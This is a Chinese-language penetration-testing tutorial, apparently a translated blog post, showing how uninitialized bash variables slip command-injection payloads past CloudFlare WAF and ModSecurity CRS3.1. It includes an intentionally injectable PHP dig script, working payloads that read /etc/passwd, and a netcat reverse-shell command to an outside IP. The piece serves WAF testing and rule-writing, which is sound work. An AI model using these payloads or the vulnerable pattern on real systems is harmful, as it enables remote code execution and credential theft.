绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

Web应用防火墙通常会被部署在Web客户端与Web服务器之间，以过滤来自服务器的恶意流量。而作为一名渗透测试人员，想要更好的突破目标系统，就必须要了解目标系统的WAF规则，以及想办法绕过该规则。本文将以CloudFlare WAF和ModSecurity OWASP CRS3为例，为大家进行演示如何使用未初始化的Bash变量，来绕过基于WAF正则表达式的过滤器和模式匹配。

未初始化变量

在之前两篇关于过WAF的文章中，我为大家介绍了如何在Linux系统上通过滥用bash globbing进程，来绕过WAF规则集并执行远程命令的技巧。在本文中我将向大家展示另一种，使用未初始化bash变量绕过基于正则表达式的过滤器和模式匹配的技巧。

echo "uninitialized_variable=$uninitialized_variable"

未初始化变量的值为null（根本没有值）。

uninitialized_variable=

可以看出，声明但未初始化和直接设为空值是相同的。

默认情况下，Bash会像Perl那样处理未初始化的变量：即视为空字符串！让我们从一个例子开始。

假设我们要执行cat /etc/passwd命令，我们可以使用以下语法：

cat$u /etc$u/passwd$u

可以看到，其中 $u 会被bash视为空字符串，且对结果输出也没有任何的影响。我们可以简单的验证下，通过echo命令打印 $u。 如下：

我们可以利用这个特性来绕过WAF规则，让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。

CloudFlare WAF (pro plan)

和之前一样，我将在一个非常简单的PHP脚本上测试这种绕过技术。需要说明的是，我的测试并不针对CloudFlare WAF，测试的主要目的是为了提醒开发人员注重代码的安全性，以及知道可以采取哪些措施来修复或编写自定义的规则。

我启用了CloudFlare WAF所有的规则，并将安全级别调到了最高（似乎所有规则都基于OWASP CRS2……）。

简单的PHP测试脚本

<?php
        if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        }
?>

该脚本使用dig来解析主机GET参数上的给定主机名，例如：

/?host=www.google.com

响应结果：

显然，我们只需在主机名后加一个分号，就可以实现RCE攻击，例如：

/?host=www.google.com;ls+/

那么，我是否可以读取cat /etc/passwd文件呢？ 让我们来尝试下：

/?host=www.google.com;cat+/etc/passwd

如上所示，WAF规则集阻止了我的请求。现在，让我们尝试使用未初始化变量绕过该规则集。

/?host=www.google.com;cat$u+/etc$u/passwd$u

请求放行！我成功读取到了/etc/passwd文件中的内容。┌（◉͜ʖ◉）つ┣▇▇▇═──

CloudFlare有一些特定的规则来防止使用netcat获得反向shell，我决定尝试绕过它们。这里我将所有 CloudFlare Specials 上的规则设置为了“ block ”。

首先，我尝建立一个nc反向shell。

不出所料，CloudFlare阻止了我的请求。现在，我们在nc和/bin/bash后添加一些未初始化的bash变量，如下：

nc$u -e /bin$u/bash$u 1.2.3.4 1337

成功绕过并获取到了一个反向shell！

ModSecurity OWASP CRS3.1

使用CRS3.1后绕过难度大大增加，尤其是将Paranoia Level调到3后（CRS3上共有Paranoia Level 1~ 4 四个级别，第四个级别几乎无法绕过），这也是我喜欢CRS3的众多原因之一。

与CloudFlare上发生的情况不同，将CRS3.1级别调到Paranoia Level 3后，我的第一个测试被932100规则阻止，原因是“Unix命令注入”：

那么，我们该如何绕过这条规则呢？我尝试使用未初始化变量以 ;<space><uninitialized var><command> 的格式发送请求，看看是否可以成功绕过。如下：

?host=www.google.it;+$u+cat+/etc/passwd

可以看到，932100规则成功被绕过！但由于主机参数中包含etc/passwd字符串，我的请求再次被阻止。我能做的是在etc/passwd路径中，添加更多的未初始化变量，如下：

?host=www.google.it;+$u+cat+/etc$u/passwd$u

与CloudFlare WAF不同，如果我们将CRS3.1的Paranoia Level调为3，那么我们几乎不可能绕过以双引号包含$_GET['host']的PHP脚本。不信我们可以试一试：

<?php
        if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        }
?>

有了双引号后，除了分号之外我们还需要闭合或注释掉前后的双引号。例如：

/?host=www.google.it";cat+/etc/passwd+#

你可能会问，RCE payload中添加了这么多额外的字符，难道不会被CloudFlare阻止吗？我们来看结果~成功绕过！

之所以无法绕过CRS3 Paranoia Level 3，主要是由于以下两条规则：

• 942460 元字符异常检测警报 – 非单字字符重复： 由于  ” ， ; ，  /  和  $  字符，导致请求被阻止。
• 942260 检测基本SQL身份验证绕过尝试 2/3： 尝试使用特殊字符，导致请求被阻止。

而如果将Paranoia Level降至2，就可以被绕过。

/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

总结

为什么阻止此类请求会如此困难？为什么WAF不阻止参数值中的$字符？原因很简单，因为那样会导致出现许多误报的情况。恕我直言，相比之下我更认同CRS3的做法，只在单个值中找到4个或更多重复的非单字字符时才进行阻止。这比阻止特定的字符更加聪明有效，且误报率也更低。